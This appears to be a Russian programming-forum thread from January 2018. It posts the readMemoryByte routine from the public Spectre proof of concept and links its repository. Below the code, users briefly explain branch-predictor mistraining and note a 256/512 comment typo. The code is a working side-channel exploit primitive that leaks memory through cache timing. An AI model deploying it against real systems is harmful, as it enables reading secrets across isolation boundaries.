- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
time1 = __rdtscp( & junk); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}
Красиво. Душевно.
https://github.com/Eugnis/spectre-attack
inho 07.01.2018 11:08 # 0
roman-kashitsyn 07.01.2018 12:47 # +2
syoma 07.01.2018 15:33 # +1
bormand 07.01.2018 16:42 # +2
syoma 07.01.2018 18:04 # 0
bormand 07.01.2018 18:36 # +2
А в spectre ты обучаешь предсказатель ветвлений или косвенных переходов так, чтобы код жертвы по-инерции прыгнул на фрагмент, который прочитает нужный тебе байт и оставит побочный эффект в виде загруженного кэшлайна. Тут нарушения защиты нет - байт читаешь не ты, а сама жертва, а ей можно было.
Как-то так вроде бы, если я правильно понял статью на project zero.
inho 07.01.2018 11:32 # +5
Soul_re@ver 07.01.2018 12:50 # +1
FrauSchweinhund 07.01.2018 15:10 # +1
bormand 07.01.2018 16:06 # +2
Xom94ok 07.01.2018 19:11 # +5
COWuTEJIbTBOEuMAMKu 08.01.2018 10:36 # −4
syoma 07.01.2018 15:34 # 0
А вот и говно. 256 или 512?
bormand 07.01.2018 16:13 # +1
uint8_t array2[256 * 512];
Банальная опечатка в комменте. Видимо, сначала юзали интервал в 256 байт, потом перешли на 512.
syoma 07.01.2018 16:16 # +5
Antervis 07.01.2018 18:11 # +7
syoma 07.01.2018 18:16 # +2
bormand 07.01.2018 18:43 # +1
Lure Of Chaos 09.01.2018 07:37 # +5
чтобы слово не расходилось с делом, нужно молчать и ничего не делать
COWuTEJIbTBOEuMAMKu 09.01.2018 08:13 # −3
syoma 09.01.2018 15:05 # 0
inho 09.01.2018 16:27 # 0
COWuTEJIbTBOEuMAMKu 09.01.2018 16:59 # −1
inho 09.01.2018 18:41 # +3
COWuTEJIbTBOEuMAMKu 09.01.2018 23:48 # −1
syoma 11.01.2018 15:31 # +1
vistefan 11.01.2018 15:46 # +1
inho 11.01.2018 22:31 # 0
subaru 11.01.2018 16:14 # 0
COWuTEJIbTBOEuMAMKu 11.01.2018 16:34 # −1
inho 11.01.2018 20:04 # 0
COWuTEJIbTBOEuMAMKu 11.01.2018 20:04 # −1
gost 11.01.2018 22:18 # 0
3.14159265 11.01.2018 22:45 # +3
Таким образом спам устремляется к минимальной точке вореционного эфира.
https://www.youtube.com/watch?v=lJZNVGpuQ7o
COWuTEJIbTBOEuMAMKu 12.01.2018 03:09 # 0